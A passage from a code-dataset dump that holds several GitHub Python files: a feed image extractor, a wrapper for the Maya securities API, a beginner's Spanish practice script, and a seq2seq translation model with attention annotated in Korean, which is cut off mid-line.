{'rdf:about': 'http://example.com.jpg'},\n - content: [{'value': 'egg
'}]\n - summary: '
'\n\n - Finally, feezy get the contains image in html when if not exists.\n \"\"\"\n\n imgs = set()\n\n elms = selm(self.item, 'links') or []\n imgs |= set([elm.get('href') for elm in elms])\n\n elms = selm(self.item, 'media_content') or []\n imgs |= set([elm['url'] for elm in elms])\n\n url = selm(self.item, 'image_item', 'rdf:about')\n imgs |= set([url])\n\n elms = selm(self.item, 'content') or []\n doc = set([elm['value'] for elm in elms])\n\n doc = pq(''.join(map(str, doc)) or None)\n imgs |= set([i.attrib['src'] for i in doc('img')])\n\n doc = pq(self.item.get('summary') or None)\n imgs |= set([i.attrib['src'] for i in doc('img')])\n\n if not any(imgs):\n # XXX: Request page\n pass\n\n allow = settings.ALLOW_EXTENSIONS\n return [i for i in imgs if extractor.uriext(i) in allow]\n","repo_name":"ikeikeikeike/scrape-django-app","sub_path":"scrape/core/scraper/feed.py","file_name":"feed.py","file_ext":"py","file_size_in_byte":4498,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"34969850461","text":"from logging import Logger\nfrom typing import Dict\nfrom datetime import date\n\nfrom requests import Session\n\nfrom pymaya.maya_funds import MayaFunds\nfrom pymaya.maya_security import MayaSecurity\nfrom pymaya.utils import Language\n\n\nclass Maya:\n def __init__(\n self,\n logger: Logger = None,\n num_of_attempts: int = 1,\n session: Session = Session(),\n verify: bool = True,\n cachesize: int = 128,\n ):\n\n self.maya_securities = MayaSecurity(\n logger=logger, num_of_attempts=num_of_attempts, session=session, verify=verify, cachesize=cachesize\n )\n\n self.maya_funds = MayaFunds(\n logger=logger, num_of_attempts=num_of_attempts, session=session, verify=verify, cachesize=cachesize\n )\n\n self.mapped_securities = {}\n self.map_securities()\n\n def get_all_securities(self, lang: Language = Language.ENGLISH):\n return self.maya_securities.get_all_securities(lang)\n\n def map_securities(self):\n all_securities = self.get_all_securities()\n for security in all_securities:\n if security.get(\"Id\") in self.mapped_securities:\n self.mapped_securities[security.get(\"Id\")].add(security.get(\"Type\"))\n else:\n self.mapped_securities[security.get(\"Id\")] = {(security.get(\"Type\"))}\n\n def get_maya_class(self, security_id: str):\n if MayaFunds.TYPE in self.mapped_securities.get(security_id):\n return self.maya_funds\n else:\n return self.maya_securities\n\n def get_details(self, security_id: str, lang: Language = Language.ENGLISH):\n maya_class = self.get_maya_class(security_id)\n return maya_class.get_details(security_id, lang)\n\n def get_names(self, security_id: str):\n maya_class = self.get_maya_class(security_id)\n english_details = maya_class.get_details(security_id, lang=Language.ENGLISH)\n hebrew_details = maya_class.get_details(security_id, lang=Language.HEBREW)\n return maya_class.get_names(english_details, hebrew_details)\n\n def get_price_history_chunk(\n self, security_id: str, from_data: date, to_date: date, page: int, lang: Language = Language.ENGLISH\n ) -> Dict:\n maya_class = self.get_maya_class(security_id)\n return maya_class.get_price_history_chunk(\n security_id, from_data=from_data, to_date=to_date, page=page, lang=lang\n )\n\n def get_price_history(\n self,\n security_id: str,\n from_data: date,\n to_date: date = date.today(),\n page: int = 1,\n lang: Language = Language.ENGLISH,\n ):\n maya_class = self.get_maya_class(security_id)\n return maya_class.get_price_history(security_id, from_data=from_data, to_date=to_date, page=page, lang=lang)\n","repo_name":"BenSterenson/pymaya","sub_path":"pymaya/maya.py","file_name":"maya.py","file_ext":"py","file_size_in_byte":2808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8539669721","text":"miDiccionario = {\n 1: 'Crepusculo',\n 2 : 'Twilight',\n 3 : 'Moon',\n}\n\nprint(miDiccionario.items())\nentrada = (input('Bienvenido a nuestra libreria, ¿te gusta algun libro? escoje con 1, 2 o 3: '))\n\n\nfor ingreso in entrada:\n if ingreso =='1':\n print(miDiccionario.keys[1])\n elif ingreso =='2':\n pass\n elif ingreso =='3':\n pass\n\n\n\n\n\ndef tuplas():\n tupla3 = (7,8,9)\n cajaMayor = opcion1,opcion2,opcion3 = tupla3\n\n entrada = int(input('Favor ingresa in numero del 1 al 3: '))\n entrada = str(entrada)\n \n for respuesta in entrada:\n if respuesta == 1:\n return cajaMayor[0]\n\n elif respuesta == 2:\n return cajaMayor[1]\n\n elif respuesta == 3:\n return cajaMayor[2]\n \n\n\ndef recorte():\n accion = 10\n \n\n for i in range(0,11):\n while i == 10:\n accion // 2\n if accion >=3:\n accion -=1\n elif accion == 2 or accion == 2.5:\n print(f'convertiste {str(10)} + en {str(accion)} ')\n\n return accion\n\nprint(recorte())\n\n\n\n #haz 12 ejercicios de List attachment (3por dia)\ndef operacion():\n digitos = list(range(10))\n ingresa = input('ingresa un numero: ')\n\n for numeros in digitos:\n if ingresa <'10':\n ingresa = int(ingresa)\n ingresa = [ingresa+1 for ingresa in digitos]\n return numeros\n \n\nprint(operacion())","repo_name":"pabloeoliveros/proyectosPabloPlatzi","sub_path":"python/PENDIENTE.py","file_name":"PENDIENTE.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30736379565","text":"import torch\nimport torch.nn as nn\nfrom torch.nn.utils.rnn import pack_padded_sequence as pack\nfrom torch.nn.utils.rnn import pad_packed_sequence as unpack\n\nimport simple_nmt.data_loader as data_loader\nfrom simple_nmt.search import SingleBeamSearchBoard\n\n\nclass Attention(nn.Module):\n\n def __init__(self, hidden_size):\n super(Attention, self).__init__()\n\n self.linear = nn.Linear(hidden_size, hidden_size, bias=False) # 맨처음에 projection needed for 가중치 refer to encoder part\n self.softmax = nn.Softmax(dim=-1)\n\n def forward(self, h_src, h_t_tgt, mask=None):\n # |h_src| = (batch_size, length, hidden_size) - 인코더의 모든 히든 스테잇\n # |h_t_tgt| = (batch_size, 1, hidden_size) - 디코더의 히든 스테잇\n # |mask| = (batch_size, length) - src의 마스킹할 정보\n\n query = self.linear(h_t_tgt) # [B,1,H] * [B,H,H] = [B,1,H]\n # |query| = (batch_size, 1, hidden_size)\n\n weight = torch.bmm(query, h_src.transpose(1, 2)) # [B,1,H] * [B, H, L] => [B, 1, L] // bmm : batch multiplication\n # |weight| = (batch_size, 1, length)\n if mask is not None:\n # Set each weight as -inf, if the mask value equals to 1.\n # Since the softmax operation makes -inf to 0, \n # masked weights would be set to 0 after softmax operation.\n # Thus, if the sample is shorter than other samples in mini-batch,\n # the weight for empty time-step would be set to 0.\n weight.masked_fill_(mask.unsqueeze(1), -float('inf')) # mask가 있는 부분에 -float('inf')를 넣어줘\n weight = self.softmax(weight)\n\n context_vector = torch.bmm(weight, h_src) # [B,1,L]*[B,L,H] -> [B,1,H]\n # |context_vector| = (batch_size, 1, hidden_size)\n # 해석으 해보면, 샘플 데이터에서, 디코더의 시점에서, 어텐션을 적용한 컨텐스트 벡터\n\n return context_vector\n\n\nclass Encoder(nn.Module):\n\n def __init__(self, word_vec_size, hidden_size, n_layers=4, dropout_p=.2):\n super(Encoder, self).__init__()\n\n # Be aware of value of 'batch_first' parameter.\n # Also, its hidden_size is half of original hidden_size,\n # because it is bidirectional.\n self.rnn = nn.LSTM(\n word_vec_size, # input shape\n int(hidden_size / 2), # bidirectional 할 것이기 때문에, 나누기 2를 했다. -> 만약 소수점이 되버리면?\n num_layers=n_layers, # stacking LSTM\n dropout=dropout_p,\n bidirectional=True,\n batch_first=True, # batch의 쉐입이 첫번째가 아니라서 앞으로 오게 강제함\n )\n\n def forward(self, emb):\n # |emb| = (batch_size, length, word_vec_size)\n\n if isinstance(emb, tuple): # 임베딩 타입이 튜플이니? \n x, lengths = emb\n x = pack(x, lengths.tolist(), batch_first=True) # https://simonjisu.github.io/nlp/2018/07/05/packedsequence.html\n # input : input은 T*B*(*) /T는 가장긴 시퀀스/B는 배치사이즈,/(*)은 dim\n # length : list of sequence lengths of each batch element\n\n\n # Below is how pack_padded_sequence works.\n # As you can see,\n # PackedSequence object has information about mini-batch-wise information,\n # not time-step-wise information.\n # \n # a = [torch.tensor([1,2,3]), \n # torch.tensor([3,4])]\n\n # b = torch.nn.utils.rnn.pad_sequence(a, batch_first=True)\n # >>>>\n # tensor([[ 1, 2, 3],\n # [ 3, 4, 0]])\n # torch.nn.utils.rnn.pack_padded_sequence(b, batch_first=True, lengths=[3,2]\n # >>>>PackedSequence(data=tensor([ 1, 3, 2, 4, 3]), batch_sizes=tensor([ 2, 2, 1]))\n \n else:\n x = emb\n\n y, h = self.rnn(x)\n # https://pytorch.org/docs/stable/generated/torch.nn.LSTM.html\n # y: containing the output features (h_t) from the last layer of the LSTM, for each t // 모든 t시점에서 나온 hidden\n # h: (containing the final hidden state for each element in the batch // containing the final cell state for each element in the batch.)\n # |y| = (batch_size, length, hidden_size) : hidden_size * 2(정방향) / 2(역방향)\n # |h[0]| = (num_layers * 2, batch_size, hidden_size / 2)\n # num_layer * num_direction\n # 바이다이렉셔널이라 num_layers * 2임 // ?배치사이즈 // ?(hidden_size / 2)\n\n if isinstance(emb, tuple):\n y, _ = unpack(y, batch_first=True) # 위에 packedsequence가 들어가있으면 풀어줘야 하기 때문에 씀.\n \n # y : [b, n, h]\n # h : [l*2, b, h/2], [l*2, b, h/2]\n return y, h\n\n\n''' y1 y2\n | |\n |-------| |-------|\n | RNN | -> | RNN | -> h y1,y2...는 y에 나옴 // h : final hidden만 할당이 됨.\n |_______| |_______|\n | |\n x1 x2\n'''\n\n\n\nclass Decoder(nn.Module):\n '''\n 추론할때나, input feeding을 해줄것이기 때문에, 한스텝씩 들어올거야.\n h_t_1_tilde : 저번에 예측한 hidden의 정보값. before softmax\n h_t_1 : h_{t-1} = [h_{t-1}, c_{t-1}] tuple임. // 전 스텝의 hidden값. // [n layer, b, h]라는데(?)\n \n # |emb_t| = (b, 1, word_vec_size)\n # |h_t_1_tilde| = (b, 1, h)\n # |h_t_1| = [(n_l, b, h),(n_l, b, h)] : t-1 시점 전의 모든 히든들..같음 not sure\n\n return y,h : [b,1,h], [l,b,h],[l,b,h]\n '''\n def __init__(self, word_vec_size, hidden_size, n_layers=4, dropout_p=.2):\n super(Decoder, self).__init__()\n\n # Be aware of value of 'batch_first' parameter and 'bidirectional' parameter.\n self.rnn = nn.LSTM(\n word_vec_size + hidden_size, # input feeding? 을 해줄거기 때문에(concat) 차원이 늘어난다.\n hidden_size,\n num_layers=n_layers,\n dropout=dropout_p,\n bidirectional=False,\n batch_first=True,\n )\n\n def forward(self, emb_t, h_t_1_tilde, h_t_1):\n '''\n 추론할때나, input feeding을 해줄것이기 때문에, 한스텝씩 들어올거야.\n h_t_1_tilde : 저번에 예측한 hidden의 정보값. before softmax\n h_t_1 : h_{t-1} = [h_{t-1}, c_{t-1}] tuple임. // 전 스텝의 hidden값. // [n layer, b, h]라는데(?)\n \n # |emb_t| = (b, 1, word_vec_size)\n # |h_t_1_tilde| = (b, 1, h)\n # |h_t_1| = [(n_l, b, h),(n_l, b, h)] : t-1 시점 전의 모든 히든들..같음 not sure\n '''\n batch_size = emb_t.size(0) # [batch]\n hidden_size = h_t_1[0].size(-1) # [hidden]\n\n if h_t_1_tilde is None:\n # If this is the first time-step, 이제 막 디코더가 시작한것임.\n h_t_1_tilde = emb_t.new(batch_size, 1, hidden_size).zero_() # .new -> 텐서는 디바이스와, 타입이 같아야 arithmetic이 가능한데,.. 그러면 두번을 설정해 줘야함. 귀찮자나..\n # 가장 간단하게 하는 방법이. 저 텐서와 같은 디바이스, 타입인놈을 만들어줘. 하는게 new이다.\n # .zero_() -> inplace 연산이다.\n\n # Input feeding trick.\n x = torch.cat([emb_t, h_t_1_tilde], dim=-1) # [b, 1, w + h]\n\n # Unlike encoder, decoder must take an input for sequentially.\n y, h = self.rnn(x, h_t_1) # h_t_1 : [(n_l, b, h), (n_l, b, h)] : 이전 시점의 hidden, context tensors, it is 0 when it's not provided.\n # y : [b, 1, h] // h: [l, b, h],[l,b,h]\n # |decoder_output| = (b, 1, h)\n # |decoder_hidden| = (n, b, h), (n,b,h)\n return y, h\n\n\nclass Generator(nn.Module):\n\n def __init__(self, hidden_size, output_size):\n super(Generator, self).__init__()\n\n self.output = nn.Linear(hidden_size, output_size) # output_size : word vec size\n self.softmax = nn.LogSoftmax(dim=-1) # logSoftmax를 함. (왜?)\n\n def forward(self, x):\n # |x| = (batch_size, length, hidden_size) : 학습할때는 length길이 만큼 한번에 들어감. 왜냐하면 teacher forcing이니까.\n\n y = self.softmax(self.output(x)) # linear에 한번 통과한다. 그러면 사이즈가 word sz로 바뀜.\n # |y| = (batch_size, length, output_size)\n\n # Return log-probability instead of just probability. : 미니배치, 각 샘플별, 각 단어별, 로그 확률값이 리턴이됨.\n return y\n\n\nclass Seq2Seq(nn.Module):\n\n def __init__(\n self,\n input_size,\n word_vec_size,\n hidden_size,\n output_size,\n n_layers=4,\n dropout_p=.2\n ):\n\n '''\n input_size : input언어의 vocab size\n word_vec_size : embed size\n hidden_size : hidden sz\n output_size : target언어의 vocab size\n '''\n\n self.input_size = input_size\n self.word_vec_size = word_vec_size\n self.hidden_size = hidden_size\n self.output_size = output_size\n self.n_layers = n_layers\n self.dropout_p = dropout_p\n\n super(Seq2Seq, self).__init__()\n\n\n # 임베드 정의\n self.emb_src = nn.Embedding(input_size, word_vec_size)\n self.emb_dec = nn.Embedding(output_size, word_vec_size)\n\n # \n self.encoder = Encoder(\n word_vec_size, hidden_size,\n n_layers=n_layers, dropout_p=dropout_p,\n )\n self.decoder = Decoder(\n word_vec_size, hidden_size,\n n_layers=n_layers, dropout_p=dropout_p,\n )\n self.attn = Attention(hidden_size)\n\n # attn에서 나온 context vec와 // decoder의 output하고 -> h_tilde\n self.concat = nn.Linear(hidden_size * 2, hidden_size)\n self.tanh = nn.Tanh() # 위 concat에 씌어줄 activation fn\n self.generator = Generator(hidden_size, output_size)\n\n def generate_mask(self, x, length):\n '''\n x : [bs, n]\n length : [bs,] such as [4,3,1]\n '''\n mask = []\n\n max_length = max(length)\n for l in length:\n if max_length - l > 0:\n # If the length is shorter than maximum length among samples, \n # set last few values to be 1s to remove attention weight.\n mask += [torch.cat([x.new_ones(1, l).zero_(),\n x.new_ones(1, (max_length - l))\n ], dim=-1)]\n else:\n # If the length of the sample equals to maximum length among samples, \n # set every value in mask to be 0.\n mask += [x.new_ones(1, l).zero_()]\n\n mask = torch.cat(mask, dim=0).bool() # [[4,4], [4,4], [4,4]] -> [3, 4]짜리 텐서로 flatten\n\n '''\n length 에) 아래와 같은 텐서가 있을때 \n\n --- --- --- ---\n | | | | | [4,\n ___ ___ ___ ___\n | | | |||| 3,\n --- --- --- ---\n | ||| ||| ||| 1] 라는 x_length모양이 있을것임.\n --- --- --- ---\n\n --- --- --- ---\n | 0| 0| 0| 0| \n ___ ___ ___ ___\n | 0| 0| 0| 1| \n --- --- --- ---\n | 0| 1| | 1| 1| \n --- --- --- ---\n 으로 나오게 한다.\n '''\n return mask\n\n\n\n def merge_encoder_hiddens(self, encoder_hiddens):\n\n '''\n for loop을 하여 속도가 안좋음.\n '''\n new_hiddens = []\n new_cells = []\n\n hiddens, cells = encoder_hiddens\n # encoder_hiddens는 hiddens와 cell_state두개를 갖고 있음.\n # hiddens : [2*layers, batch, hidden/2]\n\n # i-th and (i+1)-th layer is opposite direction.\n # Also, each direction of layer is half hidden size.\n # Therefore, we concatenate both directions to 1 hidden size layer.\n for i in range(0, hiddens.size(0), 2): # 0~2*layers만큼 for문을 돌림.\n new_hiddens += [torch.cat([hiddens[i], hiddens[i + 1]], dim=-1)] # 0,1 // 2,3 // 이런식으로 묶어서 넣어줌. -> hs가 두배로 커짐.\n # new_hiddens : [bs, hs/2*2] -> [bs, hs]\n new_cells += [torch.cat([cells[i], cells[i + 1]], dim=-1)]\n\n new_hiddens, new_cells = torch.stack(new_hiddens), torch.stack(new_cells)\n # new_hiddens : [layers, bs, hs]\n # new_cells : [layers, bs, hs]\n # torch.cat을 해도 똑같을걸?\n return (new_hiddens, new_cells)\n\n\n def fast_merge_encoder_hiddens(self, encoder_hiddens):\n '''\n parallel하게 해보자\n encoder : [l*2, b, h/2], [l*2, b, h/2]\n '''\n # Merge bidirectional to uni-directional\n # (layers*2, bs, hs/2) -> (layers, bs, hs).\n # Thus, the converting operation will not working with just 'view' method.\n h_0_tgt, c_0_tgt = encoder_hiddens # 두개 모두 [2layer, b, h/2]\n batch_size = h_0_tgt.size(1)\n\n # contiguous : 메모리상에 잘 붙어있게 선언하는것.\n # transpose까지 하면 : [b, 2layer, h/2]\n # view : [b, -1, hs] --> [b, layer, h]\n # transpose : [layer, b, h]\n h_0_tgt = h_0_tgt.transpose(0, 1).contiguous().view(batch_size,\n -1,\n self.hidden_size\n ).transpose(0, 1).contiguous()\n c_0_tgt = c_0_tgt.transpose(0, 1).contiguous().view(batch_size,\n -1,\n self.hidden_size\n ).transpose(0, 1).contiguous()\n # You can use 'merge_encoder_hiddens' method, instead of using above 3 lines.\n # 'merge_encoder_hiddens' method works with non-parallel way.\n # h_0_tgt = self.merge_encoder_hiddens(h_0_tgt)\n\n # |h_src| = (batch_size, length, hidden_size)\n # |h_0_tgt| = (n_layers, batch_size, hidden_size)\n # [l, b, h], [l, b, h]\n return h_0_tgt, c_0_tgt\n\n def forward(self, src, tgt):\n\n '''\n 학습할때는 teacher forcing을 할 것임.\n\n src : input sentence = [bs, n, V_i]\n tgt : target sentence = [bs, m, V_t]\n '''\n # output = [bs, m, V_t]\n\n batch_size = tgt.size(0)\n\n mask = None\n x_length = None\n if isinstance(src, tuple):\n x, x_length = src\n '''\n x_length에서 마스크 정보가 주어지면 generate_mask를 하라고 했음.\n '''\n # Based on the length information, gererate mask to prevent that\n # shorter sample has wasted attention.\n mask = self.generate_mask(x, x_length) \n # //x : [bs, n] // x_length : [bs,] // mask : [bs, n]\n # |mask| = (batch_size, length)\n '''\n length 에) 아래와 같은 텐서가 있을때 \n\n --- --- --- ---\n | | | | | [4,\n ___ ___ ___ ___\n | | | |||| 3,\n --- --- --- ---\n | ||| ||| ||| 1] 라는 x_length모양이 있을것임.\n --- --- --- ---\n \n 즉 [4,3,1]이 들어가 있음. 여기서 배치사이즈는 3임.\n '''\n\n else:\n x = src\n\n if isinstance(tgt, tuple):\n tgt = tgt[0]\n\n\n # Get word embedding vectors for every time-step of input sentence.\n emb_src = self.emb_src(x) # |emb_src| = (b, n, emb)\n\n # The last hidden state of the encoder would be a initial hidden state of decoder.\n h_src, h_0_tgt = self.encoder((emb_src, x_length)) # packed_padded_sequence로 처리를 함.\n # |h_src| = (b, n, h) : 인코더의 모든 t시점에서의 히든스테이트\n # |h_0_tgt| = [l*2, b, h/2], [l*2, b, h/2] : 인코더에서 레이어마다 나온 마지막 히든스테이트(컨텍스트)\n # -> 여기서 이친구를 decoder의 init hidden으로 넣어줘야 하는데,feature가 h/2임. 이걸 h로 변환해줘야함.\n\n h_0_tgt = self.fast_merge_encoder_hiddens(h_0_tgt)\n # merge_encoder_hidden부터 살펴보자\n # [l, b, h], [l, b, h]\n\n # teacher forcing이기 때문에 정답을 한꺼번에 만들어.\n emb_tgt = self.emb_dec(tgt)\n # |emb_tgt| = (b, l, emb)\n h_tilde = [] # 여기도 한방에 들어갈거야.\n\n h_t_tilde = None # 첫번째 타임스텝에서는 전에 있던 h_t_tilde는 없다.\n decoder_hidden = h_0_tgt # ([layer, bs, hs], [layer, bs, hs])\n\n # Run decoder until the end of the time-step.\n for t in range(tgt.size(1)): # length of sentence\n # Teacher Forcing: take each input from training set,\n # not from the last time-step's output.\n # Because of Teacher Forcing,\n # training procedure and inference procedure becomes different.\n # Of course, because of sequential running in decoder,\n # this causes severe bottle-neck.\n emb_t = emb_tgt[:, t, :].unsqueeze(1) # 한 단어씩 번갈아가면서 들어간다. // unsqueeze : 특정 차원에 차원을 추가한다.\n # 인덱싱할 경우 [b, l, emb] -> [b,emb]되버릴 수 있다. 따라서 명시적으로 그냥 선언하자.\n # |emb_t| = (batch_size, 1, word_vec_size)\n # |h_t_tilde| = (batch_size, 1, hidden_size)\n\n decoder_output, decoder_hidden = self.decoder(emb_t, # 현시점의 단어.\n h_t_tilde, # 지난 타임 스텝의 틸다\n decoder_hidden # [l, b, h], [l, b, h]\n )\n # |decoder_output| = (b, 1, h)\n # |decoder_hidden| = (n, b, h), (n,b,h)\n\n\n context_vector = self.attn(h_src, decoder_output, mask)\n # |context_vector| = (batch_size, 1, hidden_size)\n\n h_t_tilde = self.tanh(self.concat(torch.cat([decoder_output,\n context_vector\n ], dim=-1)))\n # |h_t_tilde| = (batch_size, 1, hidden_size)\n # self.concat -> 2h, h\n\n h_tilde += [h_t_tilde]\n\n h_tilde = torch.cat(h_tilde, dim=1)\n # h_tilde = (b, 1, h)\n # concat on dim 1 => (b, m, h)\n # |h_tilde| = (b, length, h)\n\n y_hat = self.generator(h_tilde)\n # |y_hat| = (b, length, output_size:vocab_size)\n\n return y_hat\n\n\n\n def search(self, src, is_greedy=True, max_length=255):\n '''\n 추론을 위한 method\n\n is_greedy : softmax에서 가장 높은 확률값을 갖는 친구를 return\n - false일 경우 distribution sampling\n '''\n if isinstance(src, tuple):\n # zero pad부분 masking\n x, x_length = src\n mask = self.generate_mask(x, x_length)\n else:\n x, x_length = src, None\n mask = None\n batch_size = x.size(0)\n\n # Same procedure as teacher forcing.\n emb_src = self.emb_src(x) # [b, n, emb]\n h_src, h_0_tgt = self.encoder((emb_src, x_length)) # (b,n,h), ([l*2, b, h/2], [l*2, b, h/2])\n decoder_hidden = self.fast_merge_encoder_hiddens(h_0_tgt) # [l, b, h], [l, b, h]\n\n\n # --------------- 여기서부터 달라져----------------------------\n # decoding첫 파트 BOS넣어주기 : [b, 1]\n y = x.new(batch_size, 1).zero_() + data_loader.BOS \n # data_loader의 상단에 보면 BOS오브젝트 있음.\n # x와 같은 타입, 디바이스를 [B, 1]을 0으로 채워서 만들고 거기다가 BOS인 2를 넣는다.\n # 즉 [B,1] 2가 들어간 텐서가 만들어짐.\n '''\n [[2]\n [2]\n .\n .\n [2]]\n '''\n\n is_decoding = x.new_ones(batch_size, 1).bool() # bunch of 1\n # 배치마다 디코딩이 끝나는 부분이 다를것임.(?)\n # 아직 디코딩 중이면, 1, 디코딩 끝낫으면 0\n # EOS가 나오면 끝나는것,,\n h_t_tilde, y_hats, indice = None, [], []\n \n # Repeat a loop while sum of 'is_decoding' flag is bigger than 0,\n # or current time-step is smaller than maximum length.\n while is_decoding.sum() > 0 and len(indice) < max_length:\n # Unlike training procedure,\n # take the last time-step's output during the inference.\n emb_t = self.emb_dec(y) # 맨처음 y는 BOS(2)임.\n # |emb_t| = (batch_size, 1, word_vec_size)\n\n decoder_output, decoder_hidden = self.decoder(emb_t, # [B, 1, W]\n h_t_tilde, # None\n decoder_hidden) # [l,b,h],[l,b,h]\n # decoder_output : [b, 1, h] \n # decoder_hidden : [n,b,h], [n,b,h]\n '''\n decoder_output\n |\n ____\n | | -> decoder_hidden\n ----\n \n '''\n context_vector = self.attn(h_src, decoder_output, mask)\n # (b, 1, h) # softmax(Q*W*K)\n h_t_tilde = self.tanh(self.concat(torch.cat([decoder_output,\n context_vector\n ], dim=-1)))\n y_hat = self.generator(h_t_tilde)\n # |y_hat| = (b, 1, output_size) 단어 분포가 나와.\n # 각 샘플별, 현제 스탭에 관한, 단어 로그 확률 분포가 나옴.\n y_hats += [y_hat]\n\n if is_greedy:\n y = y_hat.argmax(dim=-1)\n # |y| = (batch_size, 1)\n # 만약 EOS면 3이 될거야\n else:\n # Take a random sampling based on the multinoulli distribution.\n y = torch.multinomial(y_hat.exp().view(batch_size, -1), 1) # exponential이 왜필요할까?\n # |y| = (batch_size, 1)\n\n # Put PAD if the sample is done.\n y = y.masked_fill_(~is_decoding, data_loader.PAD)\n # ~is_decoding 에서 ~은 -1임.\n # 1. 맨처음 step을 기준으로 말하자면 : is_decoding은 True로 채워진 [b, 1] matric이다.\n # 2. -1을 전부 취해주면 False로 채워진 [b,1]임.\n # 3. ~is_decoding이 True인 부분에 PAD(1)을 y자리에 채운다.\n # 4. 즉 한번 EOS(밑밑줄), PAD라고 불리우면 계속 PAD라고 예측하게 선언하는것.\n \n # Update is_decoding if there is EOS token.\n\n is_decoding = is_decoding * torch.ne(y, data_loader.EOS)\n # |is_decoding| = (batch_size, 1)\n # EOS가 y에서 나왔으면 is_decoding쪽을 0으로 만들어 버림.\n # torch.ne(x, y) : x != y일 경우 True인 Tensor를 반환. 즉 EOS가 아닌 부분은 True로 놓고 is_decoding이랑 곱하기를 해서 살려두는 것임.\n '''\n [1] * [T]\n [1] * [T]\n [1] * [F]\n\n '''\n indice += [y]\n\n y_hats = torch.cat(y_hats, dim=1)\n indice = torch.cat(indice, dim=1)\n # |y_hats| = (batch_size, length, output_size)\n # |indice| = (batch_size, length) # sample별 문장별 원핫인코딩.\n\n return y_hats, indice\n\n\n\n #@profile\n def batch_beam_search(\n self,\n src,\n beam_size=5,\n max_length=255,\n n_best=1,\n length_penalty=.2\n ):\n mask, x_length = None, None\n\n if isinstance(src, tuple):\n x, x_length = src\n mask = self.generate_mask(x, x_length)\n # |mask| = (batch_size, length)\n else:\n x = src\n batch_size = x.size(0)\n\n emb_src = self.emb_src(x)\n h_src, h_0_tgt = self.encoder((emb_src, x_length))\n # |h_src| = (batch_size, length, hidden_size)\n h_0_tgt = self.fast_merge_encoder_hiddens(h_0_tgt)\n #h_0_tgt[0] : hidden : [L, B, H]\n #h_0_tgt[1] : cell : [L, B, H]\n # ------------------------------ 여기까지는 encoder통과시킨것과 똑같음 ----------------------------\n\n\n # 배치 사이즈 만큼 'SingleBeamSearchBoard'Class를 돌아.\n # SingleBeamSearchBoard는 search.py에 있음.\n boards = [SingleBeamSearchBoard(\n h_src.device,\n {\n 'hidden_state': {\n 'init_status': h_0_tgt[0][:, i, :].unsqueeze(1), # unsqueeze를 하는 이유 : 하나의 i만 가져와서 3차원 텐서가 2차원이 된다. 따라서 다시 되돌려줄 필요가 있음.\n 'batch_dim_index': 1, # 배치 디맨션을 알아야함. 왜냐하면 밑에 틸다는 배치의 순서가 다름.\n }, # |hidden_state| = (n_layers, batch_size, hidden_size)\n 'cell_state': {\n 'init_status': h_0_tgt[1][:, i, :].unsqueeze(1),\n 'batch_dim_index': 1,\n }, # |cell_state| = (n_layers, batch_size, hidden_size)\n 'h_t_1_tilde': {\n 'init_status': None, # 맨처음 init_status는 None임.\n 'batch_dim_index': 0,\n }, # |h_t_1_tilde| = (batch_size, 1, hidden_size)\n },\n beam_size=beam_size,\n max_length=max_length,\n ) for i in range(batch_size)]\n\n is_done = [board.is_done() for board in boards] # 각 샘플별 done 카운트, [0,1,0,1,0,...] 배치 사이즈 만큼 bords들이 있음.\n\n length = 0\n # Run loop while sum of 'is_done' is smaller than batch_size, \n # or length is still smaller than max_length.\n while sum(is_done) < batch_size and length <= max_length:\n # current_batch_size = sum(is_done) * beam_size\n\n # Initialize fabricated variables.\n # As far as batch-beam-search is running, \n # temporary batch-size for fabricated mini-batch is \n # 'beam_size'-times bigger than original batch_size.\n fab_input, fab_hidden, fab_cell, fab_h_t_tilde = [], [], [], []\n fab_h_src, fab_mask = [], []\n \n # Build fabricated mini-batch in non-parallel way.\n # This may cause a bottle-neck.\n for i, board in enumerate(boards):\n # Batchify if the inference for the sample is still not finished.\n if board.is_done() == 0:\n # 보드가 안끝낫다면 -> 보드가 끝난애들은 안보냄.\n y_hat_i, prev_status = board.get_batch() # [beam, 1], {hidden_state, cell_state, h_t_1_tilde}\n hidden_i = prev_status['hidden_state']\n cell_i = prev_status['cell_state']\n h_t_tilde_i = prev_status['h_t_1_tilde']\n\n fab_input += [y_hat_i]\n fab_hidden += [hidden_i]\n fab_cell += [cell_i]\n fab_h_src += [h_src[i, :, :]] * beam_size # this is encoder part,, 어텐션을 위한것임.\n # 하나의 샘플을 다섯번 늘린것. 결론적으로 5*BatchSize될것임.\n fab_mask += [mask[i, :]] * beam_size # this is encoder part,,\n if h_t_tilde_i is not None:\n fab_h_t_tilde += [h_t_tilde_i]\n else:\n fab_h_t_tilde = None\n\n # Now, concatenate list of tensors.\n fab_input = torch.cat(fab_input, dim=0)\n fab_hidden = torch.cat(fab_hidden, dim=1)\n fab_cell = torch.cat(fab_cell, dim=1)\n fab_h_src = torch.stack(fab_h_src)\n fab_mask = torch.stack(fab_mask)\n if fab_h_t_tilde is not None:\n fab_h_t_tilde = torch.cat(fab_h_t_tilde, dim=0)\n # |fab_input| = (current_batch_size, 1)\n # |fab_hidden| = (n_layers, current_batch_size, hidden_size)\n # |fab_cell| = (n_layers, current_batch_size, hidden_size)\n # |fab_h_src| = (current_batch_size, length, hidden_size)\n # |fab_mask| = (current_batch_size, length)\n # |fab_h_t_tilde| = (current_batch_size, 1, hidden_size)\n #----------------------- 여기까지가 가짜 미니배치를 만든것... -------------------------\n\n\n\n\n emb_t = self.emb_dec(fab_input) # emb_dec : [output_size] - > [word_vec_size]\n # |emb_t| = (current_batch_size, 1, word_vec_size)\n\n fab_decoder_output, (fab_hidden, fab_cell) = self.decoder(emb_t,\n fab_h_t_tilde,\n (fab_hidden, fab_cell))\n # |fab_decoder_output| = (current_batch_size, 1, hidden_size)\n # fab_hidden, fab_cell = [L, B, hs]\n context_vector = self.attn(fab_h_src, fab_decoder_output, fab_mask)\n # |context_vector| = (current_batch_size, 1, hidden_size)\n fab_h_t_tilde = self.tanh(self.concat(torch.cat([fab_decoder_output,\n context_vector\n ], dim=-1)))\n # |fab_h_t_tilde| = (current_batch_size, 1, hidden_size)\n y_hat = self.generator(fab_h_t_tilde)\n # |y_hat| = (current_batch_size, 1, output_size)\n\n\n # ------------------ 이제 찢어줘야함 ------------------------\n # separate the result for each sample.\n # fab_hidden[:, 